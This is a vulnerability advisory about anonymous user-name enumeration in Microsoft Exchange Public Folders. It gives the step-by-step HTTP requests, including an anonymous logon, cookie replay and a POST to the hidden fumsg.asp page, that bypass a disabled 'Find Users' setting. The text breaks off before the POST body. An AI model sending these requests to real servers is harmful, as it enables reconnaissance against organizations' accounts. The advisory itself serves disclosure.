Exchange Public Folders Information Leakage
------------------------------------------------------------------------
SUMMARY
Microsoft Exchange Server handles anonymous access to its Public Folders
insecurely. While administrators may disable the "Find Users" features to
prevent anonymous users from enumerating existing user names, a security
flaw in Exchange server allows remote attackers with access to the
exchange server to run "Find Users".
DETAILS
Microsoft Exchange's Public Folders options of "Find Users" can be
disabled. This, however, does not prevent the users from directly
accessing the ASP page (fumsg.asp). The link to the "Find Users" will be
hidden, however it is still possible to programmatically access the page.
Steps to recreate:
1) Contact:
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: www.example.com
2) Access the redirected page, and resend the issued cookie.
GET /exchange/logonfrm.asp HTTP/1.1
Host: www.example.com
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN
3) Access the redirected page, and resend the issued cookie.
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: www.example.com
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN
4) Issue this request to obtain a list of users with the letter 'a' in
their name (e.g. Administrator)
POST /exchange/finduser/fumsg.asp HTTP/1.1
Host: www.example.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN
